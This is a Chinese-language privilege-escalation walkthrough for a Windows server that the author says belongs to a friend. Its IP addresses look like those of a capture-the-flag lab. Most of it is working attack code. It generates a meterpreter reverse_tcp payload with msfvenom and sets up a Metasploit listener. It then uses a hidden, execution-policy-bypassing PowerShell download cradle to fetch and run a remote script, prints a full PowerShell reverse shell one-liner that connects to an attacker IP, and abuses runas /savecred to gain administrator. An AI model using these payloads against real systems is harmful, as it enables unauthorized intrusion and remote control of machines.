windows渗透之powershell提权

攻击机:10.10.14.158

服务器:10.10.10.98

今天朋友给了个只有telnet权限的账号让我帮忙提权,我进去发现服务器禁止了.exe程序执行,只能执行部分系统指令,发现powershell可能唯一突破口,但同样对运行权限做了一定的限制。常用的Set-ExecutionPolicy Unrestricted限制熬过等指令都需要管理员权限。提权的关键在于Runas命令,其中runas带有 /savecred参数,能够以保存的用户凭据执行命令。
这时候我就想到通过ps1文件来远程服务器,方便以后上传下载文件。
一、使用msfvenom生成PS1文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> -f psh-reflection >shell.ps1
二、开启Msf监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload
windows/x64/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.10.14.158
lhost => 10.10.14.158
msf exploit(handler) > set lport 4444
lport => 4444
msf > run
三、在攻击机开启http服务器:
python -m SimpleHTTPServer 8000
四、在目标机器执行cmd命令:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.158:8000/shell.ps1');xx.ps1"
五、上传GetRoot.ps1脚本
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.158",6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
六、使用GetRoot.ps脚本提权。
脚本上传完成后,打开nc监听攻击机子的6666端口
然后在服务器上执行命令runas /user:administrator /savecred "powershell -ExecutionPolicy ByPass -File C:\Users\Public\GetRoot.ps1"
这时候nc监听的窗口会自动转服务器的Adminsistrator账号。